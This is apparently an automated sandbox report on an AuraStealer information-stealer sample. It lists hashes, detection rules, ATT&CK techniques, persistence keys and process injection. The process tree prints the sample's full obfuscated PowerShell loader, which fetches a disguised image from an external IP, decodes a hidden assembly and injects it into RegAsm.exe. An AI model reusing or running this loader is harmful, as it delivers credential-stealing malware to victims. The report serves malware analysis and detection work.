aura_stealer | c5b354aaab3d4ea94aeabe412b09b9b9ec6ce0a76462cab89eeb27539bef00e9

General

Target
c5b354aaab3d4ea94aeabe412b09b9b9ec6ce0a76462cab89eeb27539bef00e9.exe
Size 662KB
Sample251105-s3pvjsas2e
SHA256 c5b354aaab3d4ea94aeabe412b09b9b9ec6ce0a76462cab89eeb27539bef00e9
MD5 8b399ec1f4aaeb6b97114834946d6be5
SHA1 03174c11e39f097c61ca389172696e230ae54a5b
SHA512 014d86e907f792f312ceee7d3236a2fd9090a916ff8141d50229af48bc15b533ee268159e0c5eb82a8f9fad004610245e56c5bc0047a4e73d292063f433575d8
SSDEEP 6144:PahOEKe5v0bURyWKV0VC3QZd05Pp9HfZu5PIImWy0kSR:PiGNbURpKVuC3SdgpRBuuWs0
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery execution aura_stealer persistence stealer

Malware Config

Signatures

AuraStealer
AuraStealer is a malware written in C++.
stealer aura_stealer
Aura_stealer family
aura_stealer

Detects AuraStealer stealer 3 IoCs

resource	yara_rule
behavioral1/memory/1628-13-0x0000000000400000-0x00000000004B2000-memory.dmp	family_aura_stealer
behavioral1/memory/1628-18-0x0000000000400000-0x00000000004B2000-memory.dmp	family_aura_stealer
behavioral1/memory/1628-16-0x0000000000400000-0x00000000004B2000-memory.dmp	family_aura_stealer

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4544	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-389786158-2176552546-1679795138-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-389786158-2176552546-1679795138-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	c5b354aaab3d4ea94aeabe412b09b9b9ec6ce0a76462cab89eeb27539bef00e9.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4544	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4544 set thread context of 1628	4544	powershell.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-389786158-2176552546-1679795138-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4544	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4388 wrote to memory of 4588	4388	c5b354aaab3d4ea94aeabe412b09b9b9ec6ce0a76462cab89eeb27539bef00e9.exe	84
PID 4388 wrote to memory of 4588	4388	c5b354aaab3d4ea94aeabe412b09b9b9ec6ce0a76462cab89eeb27539bef00e9.exe	84
PID 4588 wrote to memory of 228	4588	cmd.exe	86
PID 4588 wrote to memory of 228	4588	cmd.exe	86
PID 228 wrote to memory of 4544	228	WScript.exe	87
PID 228 wrote to memory of 4544	228	WScript.exe	87
PID 4544 wrote to memory of 1628	4544	powershell.exe	98
PID 4544 wrote to memory of 1628	4544	powershell.exe	98
PID 4544 wrote to memory of 1628	4544	powershell.exe	98
PID 4544 wrote to memory of 1628	4544	powershell.exe	98
PID 4544 wrote to memory of 1628	4544	powershell.exe	98
PID 4544 wrote to memory of 1628	4544	powershell.exe	98
PID 4544 wrote to memory of 1628	4544	powershell.exe	98
PID 4544 wrote to memory of 1628	4544	powershell.exe	98
PID 4544 wrote to memory of 1628	4544	powershell.exe	98

C:\Users\Admin\AppData\Local\Temp\c5b354aaab3d4ea94aeabe412b09b9b9ec6ce0a76462cab89eeb27539bef00e9.exe
"C:\Users\Admin\AppData\Local\Temp\c5b354aaab3d4ea94aeabe412b09b9b9ec6ce0a76462cab89eeb27539bef00e9.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4388
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c 68fd11039ea3f.vbs
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4588
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\68fd11039ea3f.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAG0AYQBnAGUARABhAHQAYQAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AJAB1AHIAbABzACkAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJAB1AHIAbAAgAGkAbgAgACQAdQByAGwAcwApACAAewAgAHQAcgB5ACAAewAgACQAcgBlAHEAdQBlAHMAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAJAB1AHIAbAApADsAIAAkAHIAZQBxAHUAZQBzAHQALgBNAGUAdABoAG8AZAAgAD0AIAAnAEcARQBUACcAOwAgACQAcgBlAHMAcABvAG4AcwBlACAAPQAgACQAcgBlAHEAdQBlAHMAdAAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkAOwAgACQAcwB0AHIAZQBhAG0AIAA9ACAAJAByAGUAcwBwAG8AbgBzAGUALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAUwB0AHIAZQBhAG0AKAApADsAIAAkAG0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAIAAkAHMAdAByAGUAYQBtAC4AQwBvAHAAeQBUAG8AKAAkAG0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACkAOwAgAHIAZQB0AHUAcgBuACAAJABtAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAuAFQAbwBBAHIAcgBhAHkAKAApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUAByAG8AdABvAGMAbwBsACAAPQAgACcAaAB0AHQAcAAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUwBlAHAAYQByAGEAdABvAHIAIAA9ACAAJwA6AC8ALwAnADsADQAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUAVQByAGwAIAA9ACAAIAAkAFAAcgBvAHQAbwBjAG8AbAAgACsAIAAkAFMAZQBwAGEAcgBhAHQAbwByADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAYgBhAHMAZQBVAHIAbAAgACsAIAAnADYAMgAuADYAMAAuADIAMgA2AC4AMQA2ADgALwBwAHUAYgBsAGkAYwBfAGYAaQBsAGUAcwAvAHQAZQBzAHQALgBqAHAAZwA/ADEAMgA3ADEAMQAzADEAMwAnACkAKQA7ACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABHAGUAdAAtAEkAbQBhAGcAZQBEAGEAdABhACAAJABsAGkAbgBd@AHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwB0AGUAcwB0AHAAbwB3AGUAcgBzAGgAZQBsAGwALgBIAG8AYQBhAGEAYQBhAGEAcwBkAG0AZQAnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjAD0AJwBSAGUAZwBBAHMAbQAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAGwAZgBzAGcAZQBkAGQAZABkAGQAZABkAGEAJwApAC4ASQBuAHYAbwBd@AGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgBQADEAMgBpADUAaQBvAC8AcwBlAGwAaQBmAF8AYwBpAGwAYgB1AHAALwA4ADYAMQAuADYAMgAyAC4AMAA2AC4AMgA2AC8ALwA6ACcALAAgACcAMAAnACwAIAAnADEASAA5AFoAeABaAEkANABQACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwApACkAfQB9AA==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('d@','r') ));iex $OWjuxD
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4544
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1628

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

68fd11039ea3f.vbs

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\68fd11039ea3f.vbs
Size 28KB
SHA256 f8834a0291edb9b8c3e41de98ac626e6addc9dbd95464c5f19025d0aee7dede8
MD5 6b20bbf12029a0ce8166397d8567bccb
SHA1 91e9701e577e834cde286a04727a7e96de145d41
SHA512 7c7bbc8234816e335be4b9437b0bfdc473968176cf4e9d80cff20028c156c7eb34c967f8c8bc50ef242f8cf903bb3d78c373fa04bfa2d89c64077897161a4bda
SSDEEP 768:KBRoc4dly8xDwOrAwsHIF9hJzulqkBwmkLFnEcFeppeKq:MRV2y80wso/zulMmkLFn8vTq
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_bce0cgea.0wk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bce0cgea.0wk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/1628-13-0x0000000000400000-0x00000000004B2000-memory.dmp

Download

memory/1628-18-0x0000000000400000-0x00000000004B2000-memory.dmp

Download

memory/1628-16-0x0000000000400000-0x00000000004B2000-memory.dmp

Download

memory/4544-4-0x0000013FDC230000-0x0000013FDC252000-memory.dmp

Download

memory/4544-12-0x0000013FDC580000-0x0000013FDC596000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads